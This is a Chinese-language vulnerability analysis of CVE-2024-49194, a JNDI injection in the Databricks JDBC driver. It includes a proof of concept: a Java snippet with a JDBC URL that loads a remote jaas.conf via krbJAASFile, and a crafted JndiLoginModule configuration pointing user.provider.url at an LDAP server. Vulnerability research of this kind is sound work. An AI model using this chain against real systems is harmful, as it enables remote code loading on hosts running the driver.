CVE-2024-49194 Databricks JDBC 驱动 JNDI 注入漏洞分析

CVE-2024-49194 Databricks JDBC 驱动 JNDI 注入漏洞分析

原创 KCyber 自在安全 2025-02-17 00:03

概述

Databricks JDBC 驱动程序中存在一个漏洞,影响 v2.6.38 及以下版本。
从官方通报的信息来看,漏洞根源与 krbJAASFile 参数有关,攻击者可使用具有 Property 的特殊 JDBC URL 来触发 JNDI 注入。

漏洞分析

引入环境:

<!-- https://mvnrepository.com/artifact/com.databricks/databricks-jdbc -->
<dependency>
    <groupId>com.databricks</groupId>
    <artifactId>databricks-jdbc</artifactId>
    <version>2.6.38</version>
</dependency>

漏洞与参数 krbJAASFile 有关,直接提问大模型可知, krbJAASFile 参数用于 Kerberos 认证,负责指定 JAAS 配置文件路径:

krbJAASFile 如果仅仅加载本地配置文件没有意义,测试是否支持 http 远程加载:

package org.example;  

import java.sql.DriverManager;  

public class Main {  
    public static void main(String[] args) throws Exception {  
        String jdbcUrl = "jdbc:databricks://localhost:443/default;transportMode=http;\n" +  
                "ssl=1;httpPath=/sql/1.0/endpoints/12345;\n" +  
                "AuthMech=1;krbHostFQDN=localhost;\n" +  
                "krbServiceName=spark;krbJAASFile=http://127.0.0.1:8888/jaas.conf";  
        DriverManager.getConnection(jdbcUrl);  
    }  
}

确实可以从指定的 http 地址去加载远程文件,但是在 LoginContext 中抛出了异常:

继续与大模型”对话”,修正 jaas.conf 配置:

更新配置后再次请求将进入 LoginContext#login 函数,并通过 invokePriv 来反射调用 LOGIN_METHOD 函数:

继续往下走进入 Invoke 函数,这里将调用 module 对象的 login 函数, module 对应 jaas.conf 配置文件中的 Krb5LoginModule 类型:

分析发现 LoginModule 接口存在多个子类,除了 Krb5LoginModule ,还存在一个名为 JndiLoginModule 的类型,为了验证其是否存在 JNDI 注入漏洞,修改配置文件如下:

Client {
   com.sun.security.auth.module.JndiLoginModule required
   useKeyTab=true
   keyTab="/etc/security/databricks.keytab"
   principal="[email protected]"
   storeKey=true
   debug=true;
};

再次请求成功进入 com.sun.security.auth.module.JndiLoginModule#login 函数,内部首先判断 userProvider 、 groupProvider 是否为空,为空将抛出异常,然后当 tryFirstPass 为 true 时将调用 attemptAuthentication 函数:

进入 attemptAuthentication 函数,存在明显的 JNDI 注入漏洞的 Sink 点,并且 lookup 函数的输入参数 userProvider 可控 :

com.sun.security.auth.module.JndiLoginModule#initialize 函数中会完成 userProvider 等参数初始化:

public final String USER_PROVIDER = "user.provider.url";
public final String GROUP_PROVIDER = "group.provider.url";
...
public void initialize(Subject subject, CallbackHandler callbackHandler,
                           Map<String,?> sharedState,
                           Map<String,?> options) {

  ...
  userProvider = (String)options.get(USER_PROVIDER);
  groupProvider = (String)options.get(GROUP_PROVIDER);
  tryFirstPass =
      "true".equalsIgnoreCase((String)options.get("tryFirstPass"));
  ...
}

因此很容易构造出触发 JNDI 注入漏洞的配置文件:

Client {
   com.sun.security.auth.module.JndiLoginModule required
   user.provider.url="ldap://localhost:1389/test"
   group.provider.url="test"
   tryFirstPass="true";
};

成功触发:

修复方式

新版本删除了对 krbJAASFile 参数的支持:

由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。